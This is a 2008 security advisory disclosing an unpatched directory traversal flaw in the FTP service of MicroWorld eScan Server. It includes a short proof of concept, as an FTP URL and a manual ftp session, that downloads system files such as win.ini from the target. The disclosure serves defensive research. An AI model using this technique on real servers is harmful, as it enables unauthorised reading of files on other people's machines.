microworld-traverse.txt

`  
#######################################################################  
  
Luigi Auriemma  
  
Application: MicroWorld eScan Server (aka eScan Management Console)  
http://www.mwti.net  
Versions: <= 9.0.742.98  
Platforms: Windows  
Bug: directory traversal  
Exploitation: remote  
Date: 06 Mar 2008  
Author: Luigi Auriemma  
e-mail: [email protected]  
web: aluigi.org  
  
  
#######################################################################  
  
  
1) Introduction  
2) Bug  
3) The Code  
4) Fix  
  
  
#######################################################################  
  
===============  
1) Introduction  
===============  
  
  
>From vendor's website:  
"The Powerful Management Console of eScan provides options for system  
administrators to remotely administer a vast network of clients. It  
also allows them to remotely install eScan, deploy upgrades and updates  
and enforce an Integrated Security Policy for the entire Enterprise."  
  
  
#######################################################################  
  
======  
2) Bug  
======  
  
  
The eScan Server (eserv.exe) listens on port 2021 for FTP connections  
using c:\pub as root path.  
  
Although the server tries to avoid possible directory traversal attacks  
for example rejecting the dotdot patterns, is still possible for an  
attacker to download any file from the disk of the remote system simply  
applying a slash or a backslash at the beginning of the filename for  
selecting the root path of the disk.  
For example /boot.ini, \windows\win.ini and so on.  
  
Only downloading files is allowed by the server, so deleting or  
uploading custom files is not possible.  
  
  
#######################################################################  
  
===========  
3) The Code  
===========  
  
  
ftp://SERVER:2021//windows/win.ini  
  
or manually:  
ftp -A  
open SERVER 2021  
get  
/windows/win.ini  
local_win.ini  
  
  
#######################################################################  
  
======  
4) Fix  
======  
  
  
No fix  
  
  
#######################################################################  
  
  
---   
Luigi Auriemma  
http://aluigi.org  
`